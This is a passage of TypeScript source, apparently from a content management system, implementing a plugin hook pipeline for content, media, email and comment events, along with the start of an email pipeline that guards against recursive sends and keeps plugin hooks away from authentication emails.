true,\n\t\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\t\tduration: Date.now() - start,\n\t\t\t\t});\n\t\t\t} catch (error) {\n\t\t\t\tresults.push({\n\t\t\t\t\tsuccess: false,\n\t\t\t\t\terror: error instanceof Error ? error : new Error(String(error)),\n\t\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\t\tduration: Date.now() - start,\n\t\t\t\t});\n\n\t\t\t\tif (hook.errorPolicy === \"abort\") {\n\t\t\t\t\tthrow error;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn results;\n\t}\n\n\t/**\n\t * Run content:afterPublish hooks (fire-and-forget).\n\t */\n\tasync runContentAfterPublish(\n\t\tcontent: Record<string, unknown>,\n\t\tcollection: string,\n\t): Promise<HookResult<void>[]> {\n\t\tconst hooks = this.getTypedHooks(\"content:afterPublish\");\n\t\tconst results: HookResult<void>[] = [];\n\n\t\tfor (const hook of hooks) {\n\t\t\tconst { handler } = hook;\n\t\t\tconst event: ContentPublishStateChangeEvent = { content, collection };\n\t\t\tconst ctx = this.getContext(hook.pluginId);\n\t\t\tconst start = Date.now();\n\n\t\t\ttry {\n\t\t\t\tawait this.executeWithTimeout(() => handler(event, ctx), hook.timeout);\n\t\t\t\tresults.push({\n\t\t\t\t\tsuccess: true,\n\t\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\t\tduration: Date.now() - start,\n\t\t\t\t});\n\t\t\t} catch (error) {\n\t\t\t\tresults.push({\n\t\t\t\t\tsuccess: false,\n\t\t\t\t\terror: error instanceof Error ? error : new Error(String(error)),\n\t\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\t\tduration: Date.now() - start,\n\t\t\t\t});\n\n\t\t\t\tif (hook.errorPolicy === \"abort\") {\n\t\t\t\t\tthrow error;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn results;\n\t}\n\n\t/**\n\t * Run content:afterUnpublish hooks (fire-and-forget).\n\t */\n\tasync runContentAfterUnpublish(\n\t\tcontent: Record<string, unknown>,\n\t\tcollection: string,\n\t): Promise<HookResult<void>[]> {\n\t\tconst hooks = this.getTypedHooks(\"content:afterUnpublish\");\n\t\tconst results: HookResult<void>[] = [];\n\n\t\tfor (const hook of hooks) {\n\t\t\tconst { handler } = hook;\n\t\t\tconst event: ContentPublishStateChangeEvent = { content, collection };\n\t\t\tconst ctx = this.getContext(hook.pluginId);\n\t\t\tconst start = Date.now();\n\n\t\t\ttry {\n\t\t\t\tawait this.executeWithTimeout(() => handler(event, ctx), hook.timeout);\n\t\t\t\tresults.push({\n\t\t\t\t\tsuccess: true,\n\t\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\t\tduration: Date.now() - start,\n\t\t\t\t});\n\t\t\t} catch (error) {\n\t\t\t\tresults.push({\n\t\t\t\t\tsuccess: false,\n\t\t\t\t\terror: error instanceof Error ? error : new Error(String(error)),\n\t\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\t\tduration: Date.now() - start,\n\t\t\t\t});\n\n\t\t\t\tif (hook.errorPolicy === \"abort\") {\n\t\t\t\t\tthrow error;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn results;\n\t}\n\n\t// =========================================================================\n\t// Media Hooks\n\t// =========================================================================\n\n\t/**\n\t * Run media:beforeUpload hooks\n\t */\n\tasync runMediaBeforeUpload(file: { name: string; type: string; size: number }): Promise<{\n\t\tfile: { name: string; type: string; size: number };\n\t\tresults: HookResult<{ name: string; type: string; size: number }>[];\n\t}> {\n\t\tconst hooks = this.getTypedHooks(\"media:beforeUpload\");\n\t\tconst results: HookResult<{\n\t\t\tname: string;\n\t\t\ttype: string;\n\t\t\tsize: number;\n\t\t}>[] = [];\n\t\tlet currentFile = file;\n\n\t\tfor (const hook of hooks) {\n\t\t\tconst { handler } = hook;\n\t\t\tconst event: MediaUploadEvent = { file: currentFile };\n\t\t\tconst ctx = this.getContext(hook.pluginId);\n\t\t\tconst start = Date.now();\n\n\t\t\ttry {\n\t\t\t\tconst result = await this.executeWithTimeout(() => handler(event, ctx), hook.timeout);\n\t\t\t\t// Handler can return modified file info or void\n\t\t\t\tif (result !== undefined) {\n\t\t\t\t\tcurrentFile = result;\n\t\t\t\t}\n\t\t\t\tresults.push({\n\t\t\t\t\tsuccess: true,\n\t\t\t\t\tvalue: currentFile,\n\t\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\t\tduration: Date.now() - start,\n\t\t\t\t});\n\t\t\t} catch (error) {\n\t\t\t\tresults.push({\n\t\t\t\t\tsuccess: false,\n\t\t\t\t\terror: error instanceof Error ? error : new Error(String(error)),\n\t\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\t\tduration: Date.now() - start,\n\t\t\t\t});\n\n\t\t\t\tif (hook.errorPolicy === \"abort\") {\n\t\t\t\t\tthrow error;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn { file: currentFile, results };\n\t}\n\n\t/**\n\t * Run media:afterUpload hooks\n\t */\n\tasync runMediaAfterUpload(media: {\n\t\tid: string;\n\t\tfilename: string;\n\t\tmimeType: string;\n\t\tsize: number | null;\n\t\turl: string;\n\t\tcreatedAt: string;\n\t}): Promise<HookResult<void>[]> {\n\t\tconst hooks = this.getTypedHooks(\"media:afterUpload\");\n\t\tconst results: HookResult<void>[] = [];\n\n\t\tfor (const hook of hooks) {\n\t\t\tconst { handler } = hook;\n\t\t\tconst event: MediaAfterUploadEvent = { media };\n\t\t\tconst ctx = this.getContext(hook.pluginId);\n\t\t\tconst start = Date.now();\n\n\t\t\ttry {\n\t\t\t\tawait this.executeWithTimeout(() => handler(event, ctx), hook.timeout);\n\t\t\t\tresults.push({\n\t\t\t\t\tsuccess: true,\n\t\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\t\tduration: Date.now() - start,\n\t\t\t\t});\n\t\t\t} catch (error) {\n\t\t\t\tresults.push({\n\t\t\t\t\tsuccess: false,\n\t\t\t\t\terror: error instanceof Error ? error : new Error(String(error)),\n\t\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\t\tduration: Date.now() - start,\n\t\t\t\t});\n\n\t\t\t\tif (hook.errorPolicy === \"abort\") {\n\t\t\t\t\tthrow error;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn results;\n\t}\n\n\t// =========================================================================\n\t// Cron Hook (per-plugin dispatch)\n\t// =========================================================================\n\n\t/**\n\t * Invoke the cron hook for a specific plugin.\n\t *\n\t * Unlike other hooks which broadcast to all plugins, the cron hook is\n\t * dispatched only to the target plugin — the one that owns the task.\n\t */\n\tasync invokeCronHook(pluginId: string, event: CronEvent): Promise<HookResult<void>> {\n\t\tconst hooks = this.getTypedHooks(\"cron\");\n\t\tconst hook = hooks.find((h) => h.pluginId === pluginId);\n\n\t\tif (!hook) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: new Error(`Plugin \"${pluginId}\" has no cron hook registered`),\n\t\t\t\tpluginId,\n\t\t\t\tduration: 0,\n\t\t\t};\n\t\t}\n\n\t\tconst { handler } = hook;\n\t\tconst ctx = this.getContext(pluginId);\n\t\tconst start = Date.now();\n\n\t\ttry {\n\t\t\tawait this.executeWithTimeout(() => handler(event, ctx), hook.timeout);\n\t\t\treturn {\n\t\t\t\tsuccess: true,\n\t\t\t\tpluginId,\n\t\t\t\tduration: Date.now() - start,\n\t\t\t};\n\t\t} catch (error) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: error instanceof Error ? error : new Error(String(error)),\n\t\t\t\tpluginId,\n\t\t\t\tduration: Date.now() - start,\n\t\t\t};\n\t\t}\n\t}\n\n\t// =========================================================================\n\t// Email Hooks\n\t// =========================================================================\n\n\t/**\n\t * Run email:beforeSend hooks (middleware pipeline).\n\t *\n\t * Each handler receives the message and returns a modified message or\n\t * `false` to cancel delivery. The pipeline chains message transformations —\n\t * each handler receives the output of the previous one.\n\t */\n\tasync runEmailBeforeSend(\n\t\tmessage: EmailMessage,\n\t\tsource: string,\n\t): Promise<{ message: EmailMessage | false; results: HookResult<EmailMessage | false>[] }> {\n\t\tconst hooks = this.getTypedHooks(\"email:beforeSend\");\n\t\tconst results: HookResult<EmailMessage | false>[] = [];\n\t\tlet currentMessage: EmailMessage = message;\n\n\t\tfor (const hook of hooks) {\n\t\t\tconst { handler } = hook;\n\t\t\t// Shallow-clone message to prevent handlers from mutating\n\t\t\t// the shared reference and leaking changes to subsequent stages\n\t\t\tconst event: EmailBeforeSendEvent = { message: { ...currentMessage }, source };\n\t\t\tconst ctx = this.getContext(hook.pluginId);\n\t\t\tconst start = Date.now();\n\n\t\t\ttry {\n\t\t\t\tconst result = await this.executeWithTimeout(() => handler(event, ctx), hook.timeout);\n\n\t\t\t\tif (result === false) {\n\t\t\t\t\t// Cancelled\n\t\t\t\t\tresults.push({\n\t\t\t\t\t\tsuccess: true,\n\t\t\t\t\t\tvalue: false,\n\t\t\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\t\t\tduration: Date.now() - start,\n\t\t\t\t\t});\n\t\t\t\t\treturn { message: false, results };\n\t\t\t\t}\n\n\t\t\t\t// Handler returned a modified message\n\t\t\t\tif (result && typeof result === \"object\") {\n\t\t\t\t\tcurrentMessage = result;\n\t\t\t\t}\n\n\t\t\t\tresults.push({\n\t\t\t\t\tsuccess: true,\n\t\t\t\t\tvalue: currentMessage,\n\t\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\t\tduration: Date.now() - start,\n\t\t\t\t});\n\t\t\t} catch (error) {\n\t\t\t\tresults.push({\n\t\t\t\t\tsuccess: false,\n\t\t\t\t\terror: error instanceof Error ? error : new Error(String(error)),\n\t\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\t\tduration: Date.now() - start,\n\t\t\t\t});\n\n\t\t\t\tif (hook.errorPolicy === \"abort\") {\n\t\t\t\t\tthrow error;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn { message: currentMessage, results };\n\t}\n\n\t/**\n\t * Run email:afterSend hooks (fire-and-forget).\n\t *\n\t * Errors are logged but don't propagate — they don't affect the caller.\n\t */\n\tasync runEmailAfterSend(message: EmailMessage, source: string): Promise<HookResult<void>[]> {\n\t\tconst hooks = this.getTypedHooks(\"email:afterSend\");\n\t\tconst results: HookResult<void>[] = [];\n\n\t\tfor (const hook of hooks) {\n\t\t\tconst { handler } = hook;\n\t\t\tconst event = { message, source };\n\t\t\tconst ctx = this.getContext(hook.pluginId);\n\t\t\tconst start = Date.now();\n\n\t\t\ttry {\n\t\t\t\tawait this.executeWithTimeout(() => handler(event, ctx), hook.timeout);\n\t\t\t\tresults.push({\n\t\t\t\t\tsuccess: true,\n\t\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\t\tduration: Date.now() - start,\n\t\t\t\t});\n\t\t\t} catch (error) {\n\t\t\t\t// Fire-and-forget: log but don't propagate\n\t\t\t\tconsole.error(\n\t\t\t\t\t`[email:afterSend] Plugin \"${hook.pluginId}\" error:`,\n\t\t\t\t\terror instanceof Error ? error.message : error,\n\t\t\t\t);\n\t\t\t\tresults.push({\n\t\t\t\t\tsuccess: false,\n\t\t\t\t\terror: error instanceof Error ? error : new Error(String(error)),\n\t\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\t\tduration: Date.now() - start,\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\n\t\treturn results;\n\t}\n\n\t// =========================================================================\n\t// Comment Hooks\n\t// =========================================================================\n\n\t/**\n\t * Run comment:beforeCreate hooks (middleware pipeline).\n\t *\n\t * Each handler receives the event and returns a modified event or\n\t * `false` to reject the comment. The pipeline chains transformations —\n\t * each handler receives the output of the previous one.\n\t */\n\tasync runCommentBeforeCreate(\n\t\tevent: CommentBeforeCreateEvent,\n\t): Promise<CommentBeforeCreateEvent | false> {\n\t\tconst hooks = this.getTypedHooks(\"comment:beforeCreate\");\n\t\tlet currentEvent = event;\n\n\t\tfor (const hook of hooks) {\n\t\t\tconst { handler } = hook;\n\t\t\tconst ctx = this.getContext(hook.pluginId);\n\t\t\tconst start = Date.now();\n\n\t\t\ttry {\n\t\t\t\tconst result = await this.executeWithTimeout(\n\t\t\t\t\t() => handler({ ...currentEvent }, ctx),\n\t\t\t\t\thook.timeout,\n\t\t\t\t);\n\n\t\t\t\tif (result === false) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\tif (result && typeof result === \"object\") {\n\t\t\t\t\tcurrentEvent = result;\n\t\t\t\t}\n\t\t\t} catch (error) {\n\t\t\t\tconsole.error(\n\t\t\t\t\t`[comment:beforeCreate] Plugin \"${hook.pluginId}\" error (${Date.now() - start}ms):`,\n\t\t\t\t\terror instanceof Error ? error.message : error,\n\t\t\t\t);\n\n\t\t\t\tif (hook.errorPolicy === \"abort\") {\n\t\t\t\t\tthrow error;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn currentEvent;\n\t}\n\n\t/**\n\t * Run comment:afterCreate hooks (fire-and-forget).\n\t *\n\t * Errors are logged but don't propagate — they don't affect the caller.\n\t */\n\tasync runCommentAfterCreate(event: CommentAfterCreateEvent): Promise<void> {\n\t\tconst hooks = this.getTypedHooks(\"comment:afterCreate\");\n\n\t\tfor (const hook of hooks) {\n\t\t\tconst { handler } = hook;\n\t\t\tconst ctx = this.getContext(hook.pluginId);\n\n\t\t\ttry {\n\t\t\t\tawait this.executeWithTimeout(() => handler(event, ctx), hook.timeout);\n\t\t\t} catch (error) {\n\t\t\t\tconsole.error(\n\t\t\t\t\t`[comment:afterCreate] Plugin \"${hook.pluginId}\" error:`,\n\t\t\t\t\terror instanceof Error ? error.message : error,\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * Run comment:afterModerate hooks (fire-and-forget).\n\t *\n\t * Errors are logged but don't propagate — they don't affect the caller.\n\t */\n\tasync runCommentAfterModerate(event: CommentAfterModerateEvent): Promise<void> {\n\t\tconst hooks = this.getTypedHooks(\"comment:afterModerate\");\n\n\t\tfor (const hook of hooks) {\n\t\t\tconst { handler } = hook;\n\t\t\tconst ctx = this.getContext(hook.pluginId);\n\n\t\t\ttry {\n\t\t\t\tawait this.executeWithTimeout(() => handler(event, ctx), hook.timeout);\n\t\t\t} catch (error) {\n\t\t\t\tconsole.error(\n\t\t\t\t\t`[comment:afterModerate] Plugin \"${hook.pluginId}\" error:`,\n\t\t\t\t\terror instanceof Error ? error.message : error,\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t}\n\n\t// =========================================================================\n\t// Public Page Hooks\n\t// =========================================================================\n\n\t/**\n\t * Run page:metadata hooks. Each handler returns contributions that are\n\t * merged by the metadata collector. Errors are logged but don't propagate.\n\t */\n\tasync runPageMetadata(\n\t\tevent: PageMetadataEvent,\n\t): Promise<Array<{ pluginId: string; contributions: PageMetadataContribution[] }>> {\n\t\tconst hooks = this.getTypedHooks(\"page:metadata\");\n\t\tconst results: Array<{ pluginId: string; contributions: PageMetadataContribution[] }> = [];\n\n\t\tfor (const hook of hooks) {\n\t\t\tconst { handler } = hook;\n\t\t\tconst ctx = this.getContext(hook.pluginId);\n\n\t\t\ttry {\n\t\t\t\tconst result = await this.executeWithTimeout(\n\t\t\t\t\t() => Promise.resolve(handler(event, ctx)),\n\t\t\t\t\thook.timeout,\n\t\t\t\t);\n\n\t\t\t\tif (result != null) {\n\t\t\t\t\tconst contributions = Array.isArray(result) ? result : [result];\n\t\t\t\t\tresults.push({ pluginId: hook.pluginId, contributions });\n\t\t\t\t}\n\t\t\t} catch (error) {\n\t\t\t\tconsole.error(\n\t\t\t\t\t`[page:metadata] Plugin \"${hook.pluginId}\" error:`,\n\t\t\t\t\terror instanceof Error ? error.message : error,\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\n\t\treturn results;\n\t}\n\n\t/**\n\t * Run page:fragments hooks. Only trusted plugins should be registered\n\t * for this hook. Errors are logged but don't propagate.\n\t */\n\tasync runPageFragments(\n\t\tevent: PageFragmentEvent,\n\t): Promise<Array<{ pluginId: string; contributions: PageFragmentContribution[] }>> {\n\t\tconst hooks = this.getTypedHooks(\"page:fragments\");\n\t\tconst results: Array<{ pluginId: string; contributions: PageFragmentContribution[] }> = [];\n\n\t\tfor (const hook of hooks) {\n\t\t\tconst { handler } = hook;\n\t\t\tconst ctx = this.getContext(hook.pluginId);\n\n\t\t\ttry {\n\t\t\t\tconst result = await this.executeWithTimeout(\n\t\t\t\t\t() => Promise.resolve(handler(event, ctx)),\n\t\t\t\t\thook.timeout,\n\t\t\t\t);\n\n\t\t\t\tif (result != null) {\n\t\t\t\t\tconst contributions = Array.isArray(result) ? result : [result];\n\t\t\t\t\tresults.push({ pluginId: hook.pluginId, contributions });\n\t\t\t\t}\n\t\t\t} catch (error) {\n\t\t\t\tconsole.error(\n\t\t\t\t\t`[page:fragments] Plugin \"${hook.pluginId}\" error:`,\n\t\t\t\t\terror instanceof Error ? error.message : error,\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\n\t\treturn results;\n\t}\n\n\t// =========================================================================\n\t// Utilities\n\t// =========================================================================\n\n\t/**\n\t * Check if any hooks are registered for a given name\n\t */\n\thasHooks(name: HookNameV2): boolean {\n\t\tconst hooks = this.hooks.get(name);\n\t\treturn hooks !== undefined && hooks.length > 0;\n\t}\n\n\t/**\n\t * Get hook count for debugging\n\t */\n\tgetHookCount(name: HookNameV2): number {\n\t\treturn this.hooks.get(name)?.length || 0;\n\t}\n\n\t/**\n\t * Get all registered hook names\n\t */\n\tgetRegisteredHooks(): HookNameV2[] {\n\t\treturn [...this.hooks.keys()];\n\t}\n\n\t// =========================================================================\n\t// Exclusive Hook Support\n\t// =========================================================================\n\n\t/**\n\t * Returns hook names where at least one handler declared exclusive: true\n\t */\n\tgetRegisteredExclusiveHooks(): string[] {\n\t\treturn [...this.exclusiveHookNames];\n\t}\n\n\t/**\n\t * Check if a hook is exclusive\n\t */\n\tisExclusiveHook(name: string): boolean {\n\t\treturn this.exclusiveHookNames.has(name);\n\t}\n\n\t/**\n\t * Set the selected provider for an exclusive hook.\n\t * Called by PluginManager after resolution.\n\t */\n\tsetExclusiveSelection(hookName: string, pluginId: string): void {\n\t\tthis.exclusiveSelections.set(hookName, pluginId);\n\t}\n\n\t/**\n\t * Clear the selected provider for an exclusive hook.\n\t */\n\tclearExclusiveSelection(hookName: string): void {\n\t\tthis.exclusiveSelections.delete(hookName);\n\t}\n\n\t/**\n\t * Get the selected provider for an exclusive hook (if any).\n\t */\n\tgetExclusiveSelection(hookName: string): string | undefined {\n\t\treturn this.exclusiveSelections.get(hookName);\n\t}\n\n\t/**\n\t * Get all plugins that registered a handler for a given exclusive hook.\n\t */\n\tgetExclusiveHookProviders(hookName: string): Array<{ pluginId: string }> {\n\t\tconst hooks = this.hooks.get(hookName as HookNameV2) ?? [];\n\t\treturn hooks.filter((h) => h.exclusive).map((h) => ({ pluginId: h.pluginId }));\n\t}\n\n\t/**\n\t * Get all plugins that registered a non-exclusive handler for a given\n\t * hook (e.g. `email:beforeSend`, `email:afterSend`), preserving priority\n\t * order. Partitions with `getExclusiveHookProviders()`, which returns\n\t * plugins whose registration is marked `exclusive: true`.\n\t */\n\tgetHookProviders(hookName: string): Array<{ pluginId: string }> {\n\t\tconst hooks = this.hooks.get(hookName as HookNameV2) ?? [];\n\t\treturn hooks.filter((h) => !h.exclusive).map((h) => ({ pluginId: h.pluginId }));\n\t}\n\n\t/**\n\t * Invoke an exclusive hook — dispatch only to the selected provider.\n\t * Returns null if no provider is selected or if the selected hook\n\t * is not found in the pipeline.\n\t *\n\t * This is a generic dispatch used by the email pipeline and other\n\t * exclusive hook consumers. The handler type is unknown — callers\n\t * must know the expected signature.\n\t *\n\t * Errors are isolated: a failing handler returns an error result\n\t * instead of propagating the exception to the caller.\n\t */\n\tasync invokeExclusiveHook(\n\t\thookName: string,\n\t\tevent: unknown,\n\t): Promise<{ result: unknown; pluginId: string; error?: Error; duration: number } | null> {\n\t\tconst selectedPluginId = this.exclusiveSelections.get(hookName);\n\t\tif (!selectedPluginId) return null;\n\n\t\tconst hooks = this.hooks.get(hookName as HookNameV2) ?? [];\n\t\tconst hook = hooks.find((h) => h.pluginId === selectedPluginId && h.exclusive);\n\t\tif (!hook) return null;\n\n\t\tconst start = Date.now();\n\t\ttry {\n\t\t\tconst ctx = this.getContext(selectedPluginId);\n\t\t\tconst handler = hook.handler as (event: unknown, ctx: PluginContext) => Promise<unknown>;\n\t\t\tconst result = await this.executeWithTimeout(() => handler(event, ctx), hook.timeout);\n\t\t\treturn { result, pluginId: selectedPluginId, duration: Date.now() - start };\n\t\t} catch (error) {\n\t\t\treturn {\n\t\t\t\tresult: undefined,\n\t\t\t\tpluginId: selectedPluginId,\n\t\t\t\terror: error instanceof Error ? error : new Error(String(error)),\n\t\t\t\tduration: Date.now() - start,\n\t\t\t};\n\t\t}\n\t}\n}\n\n/**\n * Create a hook pipeline from plugins\n */\nexport function createHookPipeline(\n\tplugins: ResolvedPlugin[],\n\tfactoryOptions?: PluginContextFactoryOptions,\n): HookPipeline {\n\treturn new HookPipeline(plugins, factoryOptions);\n}\n\n// ── Shared exclusive hook resolution ─────────────────────────────────────────\n\n/**\n * Options for exclusive hook resolution.\n */\nexport interface ExclusiveHookResolutionOptions {\n\tpipeline: HookPipeline;\n\t/**\n\t * Check whether a plugin ID is currently active.\n\t * Used to filter providers — only active providers participate in selection.\n\t */\n\tisActive: (pluginId: string) => boolean;\n\t/** Read an option value from persistent storage. */\n\tgetOption: (key: string) => Promise<string | null>;\n\t/** Write an option value to persistent storage. */\n\tsetOption: (key: string, value: string) => Promise<void>;\n\t/** Delete an option from persistent storage. */\n\tdeleteOption: (key: string) => Promise<void>;\n\t/**\n\t * Map of pluginId → hook names the plugin prefers to handle.\n\t * Used as a tiebreaker when no DB selection exists and multiple providers are active.\n\t */\n\tpreferredHints?: Map<string, string[]>;\n}\n\n/** Options table key prefix for exclusive hook selections */\nconst EXCLUSIVE_HOOK_KEY_PREFIX = \"emdash:exclusive_hook:\";\n\n/**\n * Resolve exclusive hook selections.\n *\n * Shared algorithm used by both PluginManager and EmDashRuntime:\n * 1. If a DB selection exists and that plugin is active → keep it.\n * 2. If DB selection is stale (plugin inactive/gone) → clear it.\n * 3. If no selection and only one active provider → auto-select it.\n * 4. If preferred hints match an active provider → first match wins.\n * 5. If multiple providers and no hint → leave unselected (admin must choose).\n */\nexport async function resolveExclusiveHooks(opts: ExclusiveHookResolutionOptions): Promise<void> {\n\tconst { pipeline, isActive, getOption, setOption, deleteOption, preferredHints } = opts;\n\tconst exclusiveHookNames = pipeline.getRegisteredExclusiveHooks();\n\n\tfor (const hookName of exclusiveHookNames) {\n\t\tconst providers = pipeline.getExclusiveHookProviders(hookName);\n\t\tconst activeProviderIds = new Set(\n\t\t\tproviders.map((p) => p.pluginId).filter((id) => isActive(id)),\n\t\t);\n\n\t\tconst key = `${EXCLUSIVE_HOOK_KEY_PREFIX}${hookName}`;\n\t\tlet currentSelection: string | null = null;\n\t\ttry {\n\t\t\tcurrentSelection = await getOption(key);\n\t\t} catch {\n\t\t\t// Options table may not be ready\n\t\t\tcontinue;\n\t\t}\n\n\t\t// If selection exists and the plugin is still active → keep it\n\t\tif (currentSelection && activeProviderIds.has(currentSelection)) {\n\t\t\tpipeline.setExclusiveSelection(hookName, currentSelection);\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Selection is stale or missing — clear it\n\t\tif (currentSelection) {\n\t\t\ttry {\n\t\t\t\tawait deleteOption(key);\n\t\t\t} catch {\n\t\t\t\t// Non-fatal\n\t\t\t}\n\t\t}\n\n\t\t// Auto-select if only one active provider\n\t\tif (activeProviderIds.size === 1) {\n\t\t\tconst [onlyProvider] = activeProviderIds;\n\t\t\ttry {\n\t\t\t\tawait setOption(key, onlyProvider);\n\t\t\t} catch {\n\t\t\t\t// Non-fatal\n\t\t\t}\n\t\t\tpipeline.setExclusiveSelection(hookName, onlyProvider);\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Check preferred hints\n\t\tif (preferredHints) {\n\t\t\tlet found = false;\n\t\t\tfor (const [pluginId, hooks] of preferredHints) {\n\t\t\t\tif (hooks.includes(hookName) && activeProviderIds.has(pluginId)) {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tawait setOption(key, pluginId);\n\t\t\t\t\t} catch {\n\t\t\t\t\t\t// Non-fatal\n\t\t\t\t\t}\n\t\t\t\t\tpipeline.setExclusiveSelection(hookName, pluginId);\n\t\t\t\t\tfound = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (found) continue;\n\t\t}\n\n\t\t// Multiple providers, no hint — leave unselected\n\t\tpipeline.clearExclusiveSelection(hookName);\n\t}\n}\n","/**\n * Email Pipeline\n *\n * Orchestrates the three-stage email pipeline:\n * 1. email:beforeSend hooks (middleware — transform, validate, cancel)\n * 2. email:deliver hook (exclusive — exactly one provider delivers)\n * 3. email:afterSend hooks (logging, analytics, fire-and-forget)\n *\n * Security features:\n * - Recursion guard prevents re-entrant sends (e.g. plugin calling ctx.email.send from a hook)\n * - System emails (source=\"system\") bypass email:beforeSend and email:afterSend hooks entirely\n * to protect auth tokens from exfiltration by plugin hooks\n *\n */\n\nimport { AsyncLocalStorage } from \"node:async_hooks\";\n\nimport type { HookPipeline } from \"./hooks.js\";\nimport type { EmailDeliverEvent, EmailMessage } from \"./types.js\";\n\n/** Hook name for the exclusive email delivery hook */\nconst EMAIL_DELIVER_HOOK = \"email:deliver\";\n\n/** Source value used for auth emails (magic links, invites, password resets) */\nconst SYSTEM_SOURCE = \"system\";\n\n/**\n * Error thrown when ctx.email.send() is called but no provider is configured.\n */\nexport class EmailNotConfiguredError extends Error {\n\tconstructor() {\n\t\tsuper(\n\t\t\t\"No email provider is configured. Install and activate an email provider plugin, \" +\n\t\t\t\t\"then select it in Settings > Email.\",\n\t\t);\n\t\tthis.name = \"EmailNotConfiguredError\";\n\t}\n}\n\n/**\n * Error thrown when a recursive email send is detected.\n */\nexport class EmailRecursionError extends Error {\n\tconstructor() {\n\t\tsuper(\n\t\t\t\"Recursive email send detected. A plugin hook attempted to send an email \" +\n\t\t\t\t\"from within the email pipeline, which would cause infinite recursion.\",\n\t\t);\n\t\tthis.name = \"EmailRecursionError\";\n\t}\n}\n\n/**\n * Recursion guard using AsyncLocalStorage.\n *\n * EmailPipeline is a singleton (worker-lifetime cached via EmDashRuntime).\n * Instance state like `sendDepth` would false-positive under concurrent\n * requests because two unrelated sends would increment the same counter.\n * ALS scopes the guard to the current async execution context, so concurrent\n * requests each get their own independent recursion tracking.\n */\nconst emailSendALS = new AsyncLocalStorage<{ depth: number }>();\n\n/**\n * EmailPipeline orchestrates email delivery through the plugin hook system.\n *\n * The pipeline runs in three stages:\n * 1. email:beforeSend — middleware hooks that can transform or cancel messages\n * 2. email:deliver — exclusive hook dispatching to the selected provider\n * 3. email:afterSend — fire-and-forget hooks for logging/analytics\n */\nexport class EmailPipeline {\n\tprivate pipeline: HookPipeline;\n\n\tconstructor(pipeline: HookPipeline) {\n\t\tthis.pipeline = pipeline;\n\t}\n\n\t/**\n\t * Replace the underlying hook pipeline.\n\t *\n\t * Called by the runtime when rebuilding the hook pipeline after a\n\t * plugin is enabled or disabled, so the email pipeline dispatches\n\t * to the current set of active hooks.\n\t */\n\tsetPipeline(pipeline: HookPipeline): void {\n\t\tthis.pipeline = pipeline;\n\t}\n\n\t/**\n\t * Send an email through the full pipeline.\n\t *\n\t * @param message - The email to send\n\t * @param source - Where the email originated (\"system\" for auth, plugin ID for plugins)\n\t * @throws EmailNotConfiguredError if no provider is selected\n\t * @throws EmailRecursionError if called re-entrantly from within a hook\n\t * @throws Error if the provider handler throws\n\t */\n\tasync send(message: EmailMessage, source: string): Promise<void> {\n\t\t// Recursion guard: a plugin with email:send + email:intercept calling\n\t\t// ctx.email.send() from an email hook would loop forever.\n\t\t// Uses AsyncLocalStorage so concurrent requests don't interfere —\n\t\t// each async context tracks its own depth independently.\n\t\tconst store = emailSendALS.getStore();\n\t\tif (store && store.depth > 0) {\n\t\t\tthrow new EmailRecursionError();\n\t\t}\n\n\t\tconst run = () => this.sendInner(message, source);\n\t\tif (store) {\n\t\t\t// Already inside an ALS context (e.g. nested call) — increment depth\n\t\t\tstore.depth++;\n\t\t\ttry {\n\t\t\t\tawait run();\n\t\t\t} finally {\n\t\t\t\tstore.depth--;\n\t\t\t}\n\t\t} else {\n\t\t\t// First call — create new ALS context\n\t\t\tawait emailSendALS.run({ depth: 1 }, run);\n\t\t}\n\t}\n\n\t/**\n\t * Inner send implementation, separated from the recursion guard.\n\t */\n\tprivate async sendInner(message: EmailMessage, source: string): Promise<void> {\n\t\t// Validate message fields at the pipeline boundary. TypeScript enforces\n\t\t// this at compile time, but sandboxed plugins cross an RPC boundary\n\t\t// where runtime types aren't guaranteed.\n\t\tif (!message || typeof message !== \"object\") {\n\t\t\tthrow new Error(\"Invalid email message: message must be an object\");\n\t\t}\n\t\tif (!message.to || typeof message.to !== \"string\") {\n\t\t\tthrow new Error(\"Invalid email message: 'to' is required and must be a string\");\n\t\t}\n\t\tif (!message.subject || typeof message.subject !== \"string\") {\n\t\t\tthrow new Error(\"Invalid email message: 'subject' is required and must be a string\");\n\t\t}\n\t\tif (!message.text || typeof message.text !== \"string\") {\n\t\t\tthrow new Error(\"Invalid email message: 'text' is required and must be a string\");\n\t\t}\n\n\t\tconst isSystemEmail = source === SYSTEM_SOURCE;\n\n\t\t// System emails (auth tokens, magic links, invites) skip the\n\t\t// email:beforeSend pipeline entirely. These contain sensitive 